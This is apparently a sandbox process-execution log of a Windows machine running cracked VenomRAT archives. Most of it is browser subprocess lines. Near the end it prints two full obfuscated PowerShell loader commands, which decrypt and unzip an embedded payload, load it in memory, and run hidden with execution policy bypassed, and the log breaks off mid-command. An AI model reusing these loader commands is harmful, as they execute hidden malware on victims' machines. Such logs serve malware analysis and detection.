C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.37.2029803425\1796536619" -childID 34 -isForBrowser -prefsHandle 4924 -prefMapHandle 4672 -prefsLen 30101 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0d572dfa-b25c-4cfb-b3e0-6bf8b3c15e45} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 5812 27563547558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.38.1065192385\1609912021" -childID 35 -isForBrowser -prefsHandle 5132 -prefMapHandle 6252 -prefsLen 30101 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {90d2ac80-536b-4a02-a7ec-8dd0a79a94c1} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 10124 2756354ab58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.39.1556606154\1702180260" -childID 36 -isForBrowser -prefsHandle 4728 -prefMapHandle 9812 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3da4b246-3a69-4fb3-9be5-9e0e316fc86a} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 1628 27567772858 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.40.1513170395\1760897160" -childID 37 -isForBrowser -prefsHandle 9800 -prefMapHandle 6172 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {925b626a-da8d-460f-ba56-f5899f8e7b7f} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 4680 2756532d158 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.41.967918503\621988847" -childID 38 -isForBrowser -prefsHandle 5624 -prefMapHandle 7732 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3ad98230-f0e0-4ae7-a9e6-45bbb6303792} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 10192 2756abce058 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.42.1553161976\233871087" -childID 39 -isForBrowser -prefsHandle 3004 -prefMapHandle 6592 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {70780d44-6458-4649-bfad-7132b062d770} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 10516 2756a1bd558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.43.69723965\1141092851" -childID 40 -isForBrowser -prefsHandle 10200 -prefMapHandle 9860 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5d0de063-08a6-4b2b-a1ef-fd22a4610794} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 9720 2756a650b58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.44.178062500\1375637354" -childID 41 -isForBrowser -prefsHandle 4636 -prefMapHandle 5368 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {faa2bf23-d7f8-4a17-809d-a5277cc67003} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 9480 2756b024c58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.45.2002841377\324650192" -childID 42 -isForBrowser -prefsHandle 11068 -prefMapHandle 7864 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a129bbf4-e6c2-4ed2-b682-ee1dc0e87ba9} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 10156 27565394558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.46.1480904713\1569852812" -childID 43 -isForBrowser -prefsHandle 5700 -prefMapHandle 10464 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a3448d61-f870-48a9-9e9e-f84762f41d24} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 4844 27565395158 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.47.1451110337\439132461" -childID 44 -isForBrowser -prefsHandle 7604 -prefMapHandle 9976 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2cb4dd10-956d-4ae8-820c-6ba2961770f4} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 9620 2755072f058 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.48.1229308806\350132799" -childID 45 -isForBrowser -prefsHandle 9944 -prefMapHandle 10232 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {55c389b8-d61d-46d4-9c35-586a7d6ad049} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 2840 27565b12b58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.49.1833880294\429213519" -childID 46 -isForBrowser -prefsHandle 9640 -prefMapHandle 5872 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bc814a41-4f40-4b42-a7b1-e26f703fe24e} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 6088 27565b10d58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.50.1347791384\1610902307" -childID 47 -isForBrowser -prefsHandle 10484 -prefMapHandle 9340 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {06d6581c-5c78-4979-b241-99da6150a133} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 9352 2755075f258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.52.490200970\380135897" -childID 49 -isForBrowser -prefsHandle 6756 -prefMapHandle 9776 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9796587a-ed5c-4d23-9410-0fc5b353ada4} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 6116 27567055958 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.51.1845336968\53422949" -childID 48 -isForBrowser -prefsHandle 4536 -prefMapHandle 10520 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {92dc42f1-e2b6-4612-84d9-b48c3e93a830} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 10252 27567055f58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.53.519325523\250168773" -childID 50 -isForBrowser -prefsHandle 8976 -prefMapHandle 8984 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f9be3c70-1437-4d32-8376-894549355045} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 8964 2756a2be258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.54.1247889778\425083346" -childID 51 -isForBrowser -prefsHandle 8832 -prefMapHandle 8944 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {27016dfa-4193-427e-ba1d-91ec235cf5bf} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 8800 275652d5e58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.55.1327221883\217640287" -childID 52 -isForBrowser -prefsHandle 8716 -prefMapHandle 8672 -prefsLen 30110 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {768f53e2-1f4f-4c0a-a62c-236c7bec41df} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 8792 27566f1f558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.56.1747905881\711432856" -childID 53 -isForBrowser -prefsHandle 9380 -prefMapHandle 9412 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {baf46f40-274a-4185-b8fc-5cd0476068d7} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 7308 27565465258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.57.1907317298\265850558" -childID 54 -isForBrowser -prefsHandle 8520 -prefMapHandle 10148 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2659dc61-1698-43ea-bc6e-b4eee8fe8c32} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 8616 275637c2e58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.58.831738969\123884658" -childID 55 -isForBrowser -prefsHandle 8232 -prefMapHandle 8244 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a2e68bf5-7de8-4e4e-b792-cd8ff349195d} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 8400 275601d1958 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.59.202110785\1443219840" -childID 56 -isForBrowser -prefsHandle 8696 -prefMapHandle 8684 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {21f76895-e353-495f-a048-7ca4c47252cb} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 6224 2755072ed58 tab

C:\Windows\System32\msiexec.exe

"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\7z2201-x64.msi"

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.60.1254655089\1403125312" -childID 57 -isForBrowser -prefsHandle 7644 -prefMapHandle 9192 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2a796ccc-8352-4d64-b546-990561905f9a} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 9336 27561796e58 tab

C:\Windows\system32\srtasks.exe

C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.62.1149534228\1110284074" -childID 59 -isForBrowser -prefsHandle 8588 -prefMapHandle 8604 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1c5b8b6c-3cc1-4ed5-b332-9d0b2c983cfd} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 1064 2756aa8d658 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.61.1585649175\2014535740" -childID 58 -isForBrowser -prefsHandle 8276 -prefMapHandle 9656 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2ce2ac9a-6676-4a41-af6c-ce370d0150e3} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 5136 2756aa8df58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.63.1299433055\2002501935" -childID 60 -isForBrowser -prefsHandle 9300 -prefMapHandle 9420 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {acaf6642-5d70-4cf3-8f78-a411dcd046b0} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 9408 27567054d58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.64.979893683\1662951633" -childID 61 -isForBrowser -prefsHandle 11136 -prefMapHandle 9408 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b6de7648-b2f1-4c8b-8ec6-fcb521d490af} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 2840 27566dd1c58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.65.1517203325\284365615" -childID 62 -isForBrowser -prefsHandle 9248 -prefMapHandle 8088 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5e4a2651-5f08-48c3-b5bb-f63c1f27c3c1} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 9016 27567baee58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.66.559883274\1736851037" -childID 63 -isForBrowser -prefsHandle 8244 -prefMapHandle 8828 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {954447c2-b2f2-4a55-87c8-9e99a969f4c2} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 8224 27568495d58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.67.592737283\813441588" -childID 64 -isForBrowser -prefsHandle 5812 -prefMapHandle 7796 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b0087889-3de2-4af6-ac8f-a407be1ee133} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 4612 27565465258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.69.378853381\623731977" -childID 66 -isForBrowser -prefsHandle 11504 -prefMapHandle 11508 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {64b6396c-a085-459c-871d-2d1243cc2cae} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 11488 27563548458 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.70.1529896331\1982362900" -childID 67 -isForBrowser -prefsHandle 11644 -prefMapHandle 11800 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ee15fa13-8f45-4390-9177-5cd3820ace98} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 11696 2756362b758 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.68.146021348\1373563373" -childID 65 -isForBrowser -prefsHandle 11516 -prefMapHandle 11520 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f365fe56-32f1-4ddd-853b-afd119ca089a} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 11644 2756256d058 tab

C:\Program Files\7-Zip\7zFM.exe

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\VenomRAT_v6.0.3_(SOURCE).rar"

C:\Users\Admin\Desktop\VenomRAT v6.0.3 (SOURCE)\VenomRAT v6.0.3 (SOURCE).exe

"C:\Users\Admin\Desktop\VenomRAT v6.0.3 (SOURCE)\VenomRAT v6.0.3 (SOURCE).exe"

C:\Program Files\7-Zip\7zFM.exe

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Desktop\VenomRAT v6.0.3 (SOURCE)\VenomRAT v6.0.3 (SOURCE).exe"

C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Windows\system32\taskmgr.exe

"C:\Windows\system32\taskmgr.exe" /4

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 408 -p 7684 -ip 7684

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 7684 -s 1640

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 512 -p 7684 -ip 7684

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 7684 -s 2368

C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 548 -p 7444 -ip 7444

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 7444 -s 1392

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 420 -p 7444 -ip 7444

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 7444 -s 1552

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 184 -p 3536 -ip 3536

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 3536 -s 2392

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 184 -p 3536 -ip 3536

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 3536 -s 1524

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\wbem\WmiApSrv.exe

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 184 -p 6868 -ip 6868

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 6868 -s 1684

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 504 -p 6868 -ip 6868

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 6868 -s 1684

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.71.277559560\2130188466" -childID 68 -isForBrowser -prefsHandle 4844 -prefMapHandle 8580 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a5525651-defa-4748-8981-eac41b6b7644} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 11476 27565bf6258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.72.2060775154\1512282539" -childID 69 -isForBrowser -prefsHandle 10316 -prefMapHandle 10440 -prefsLen 30119 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cf45d292-7120-4c03-a16a-4d6ea261545d} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 9428 27566afb258 tab

C:\Program Files\7-Zip\7zFM.exe

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\VenomRAT-V5.6-HVNC.rar"

C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Venom RAT + HVNC.exe

"C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Venom RAT + HVNC.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Stub\ClientFix.bat" "

C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Stub\ClientFix.bat.exe

"ClientFix.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $WFMJi = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Stub\ClientFix.bat').Split([Environment]::NewLine);foreach ($CfaZq in $WFMJi) { if ($CfaZq.StartsWith(':: ')) { $vvycE = $CfaZq.Substring(3); break; }; };$ebOVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($vvycE);$TvyrY = New-Object System.Security.Cryptography.AesManaged;$TvyrY.Mode = [System.Security.Cryptography.CipherMode]::CBC;$TvyrY.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$TvyrY.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kAdRfGjG5nQ73DzFMdGHAl3pY8gtBNZSc1HkWv4kVjQ=');$TvyrY.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XfTHUmFJqIl6NYYRvVi6Uw==');$iolsF = $TvyrY.CreateDecryptor();$ebOVF = $iolsF.TransformFinalBlock($ebOVF, 0, $ebOVF.Length);$iolsF.Dispose();$TvyrY.Dispose();$xwvRO = New-Object System.IO.MemoryStream(, $ebOVF);$KUalT = New-Object System.IO.MemoryStream;$sthnm = New-Object System.IO.Compression.GZipStream($xwvRO, [IO.Compression.CompressionMode]::Decompress);$sthnm.CopyTo($KUalT);$sthnm.Dispose();$xwvRO.Dispose();$KUalT.Dispose();$ebOVF = $KUalT.ToArray();$KGzdp = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($ebOVF);$OfYbS = $KGzdp.EntryPoint;$OfYbS.Invoke($null, (, [string[]] ('')))

C:\Windows\System32\dllhost.exe

C:\Windows\System32\dllhost.exe /Processid:{58d90d22-1760-4771-8257-9e78f78d5be1}

C:\Windows\$sxr-powershell.exe

"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join 